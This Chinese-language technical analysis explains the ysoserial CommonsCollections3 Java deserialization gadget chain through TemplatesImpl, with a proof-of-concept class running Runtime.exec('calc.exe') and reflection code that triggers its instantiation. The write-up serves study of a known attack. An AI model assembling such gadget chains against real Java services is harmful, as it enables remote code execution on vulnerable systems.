ysoserial commonscollections3 分析

cc3利用链如下:
TrAXFilter(Templates templates)TemplatesImpl->newTransformer()TemplatesImpl->getTransletInstance()_class[_transletIndex].newInstance();一、为构造的恶意字节码文件找一个newInstance启动入口
在TemplatesImpl类中的getTransletInstance方法,对 _class[_transletIndex]实现了newInstance() 。
所以如果构造一个恶意类,然后通过类加载器加载,最终通过TemplatesImpl实现这个类的实例化,将实现这个恶意类的初始化执行 。
假设将恶意代码写入这个类的静态代码块中,在这个类被实例化的时候得到执行,以Runtime为例 。
构造恶意类:
public class Runtimecalc {{Runtime runtime = Runtime.getRuntime();try {runtime.exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}}又由于TemplatesImpl类中,getTransletInstance方法属于私有方法,所以需要依赖另一个方法 。其中该类的newTransformer()调用了getTransletInstance(),该方法public作用域,可以被外部调用执行 。
public synchronized Transformer newTransformer()throws TransformerConfigurationException{TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;}通过反射给_class和_transletIndex赋值 。但是在赋值之前,我们看到getTransletInstance方法对_name也做了判断if (_name == null) return null;,要求不能为空才可以继续执行后面代码,所以还需要通过反射给_name赋值 。
【ysoserial commonscollections3 分析】另外需要注意的是由于这里做了一个强转(AbstractTranslet)_class[_transletIndex].newInstance();
加载的字节码类需要继承AbstractTranslet
private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(_useServicesMechanism);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}那么假设我们通过反射,直接为_class赋值为一个恶意字节码文件的文件路径 。
然后通过调newTransformer方法实现,就能得到字节码文件的初始化执行 。
TemplatesImpl templates = new TemplatesImpl();Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field name = templates_cl.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"xxx");Field aClass = templates_cl.getDeclaredField("_class");aClass.setAccessible(true);aClass.set(templates,new Class[]{Runtimecalc.class});Field transletIndex = templates_cl.getDeclaredField("_transletIndex");transletIndex.setAccessible(true);transletIndex.set(templates,0);templates.newTransformer();二、字节码文件路径是无法在目标机器得到执行的,所以需要找到其他方法将字节码内容直接赋值序列化
Runtimecalc.class作为类文件赋值,是无法实现序列化的时候将文件内容直接传入的,这里赋值的只是文件路径 。
所以序列化和反序列化是不成功的 。

经验总结扩展阅读